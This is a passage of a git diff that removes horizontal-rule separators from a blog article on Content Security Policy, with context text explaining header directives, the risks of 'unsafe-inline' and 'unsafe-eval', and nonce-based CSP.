origins and check with .has(). Regex patterns on origin values introduce substring bypass vulnerabilities. Exact string matching does not. diff --git a/src/content/series/frontend-security/csp-in-practice.mdx b/src/content/series/frontend-security/csp-in-practice.mdx index fa6c918..b5229fc 100644 --- a/src/content/series/frontend-security/csp-in-practice.mdx +++ b/src/content/series/frontend-security/csp-in-practice.mdx @@ -35,8 +35,6 @@ The browser enforces this at execution time. Not the server, not a proxy, not a This is what makes CSP a meaningful second line of defence. Even if an attacker gets a payload into the DOM, they cannot execute it without also being able to bypass the browser's own enforcement. ---- - ## Header Anatomy The policy is a single response header. Its value is a semicolon-separated list of directives, each of which is a directive name followed by a space-separated list of source values. @@ -70,8 +68,6 @@ A few directives deserve extra attention: **`object-src 'none'`** eliminates the entire plugin execution context. Flash is dead, but `` and `` remain valid HTML. Set this to `'none'` and forget about it. ---- - ## The `'unsafe-inline'` Problem Before covering the right way to allow scripts, it's worth being explicit about the wrong way. @@ -84,8 +80,6 @@ Adding `'unsafe-inline'` to `script-src` means any inline script on the page may Similarly, `'unsafe-eval'` allows `eval()`, `setTimeout(string)`, and `new Function(string)`. Unless you have a bundler that requires it (some older webpack configs do), this should never appear in a production policy. ---- - ## How the Browser Evaluates CSP When a script wants to execute, the browser runs this decision tree: @@ -117,8 +111,6 @@ When a script wants to execute, the browser runs this decision tree: The check happens at execution time, for every script — inline and external. The browser does not distinguish between "trusted" and "injected" scripts in the HTML. The policy does. ---- - ## Nonce-Based CSP A nonce is a random token generated fresh for each HTTP response. It lives in two places simultaneously: the `Content-Security-Policy` header and the `nonce` attribute of every `